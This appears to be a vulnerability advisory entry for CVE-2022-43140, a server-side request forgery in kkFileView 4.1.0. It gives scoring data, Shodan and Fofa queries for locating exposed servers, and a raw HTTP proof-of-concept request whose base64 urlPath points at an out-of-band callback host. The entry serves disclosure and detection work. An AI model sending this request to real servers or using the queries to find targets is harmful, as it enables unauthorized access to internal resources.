| Title | kkFileView 4.1.0 - Server-Side Request Forgery |
|---|---|
| Author | Co5mos |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could lead to unauthorized access to internal resources, potential data leakage, and further attacks on the server. |
| Remediation | Apply the latest security patches or updates provided by the vendor to fix the SSRF vulnerability in kkFileView 4.1.0. |
| CVSS Score | 7.5 |
| EPSS Score | 0.79265 |
| CVE ID | CVE-2022-43140 |
| CWE ID | CWE-918 |
| Shodan Query | http.html:"kkFileView"http.html:"kkfileview" |
| Fofa Query | app="kkFileView"app="kkfileview"body="kkfileview" |
| Tags | cve2022 cve ssrf kkFileview keking vuln |
kkFileView 4.1.0 is susceptible to server-side request forgery via the component cn.keking.web.controller.OnlinePreviewController#getCorsFile. An attacker can force the application to make arbitrary requests via injection of crafted URLs into the url parameter and thereby potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
GET /getCorsFile?urlPath=aHR0cHM6Ly9vYXN0Lm1l HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-43140.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-43140.pcap
N/AN/A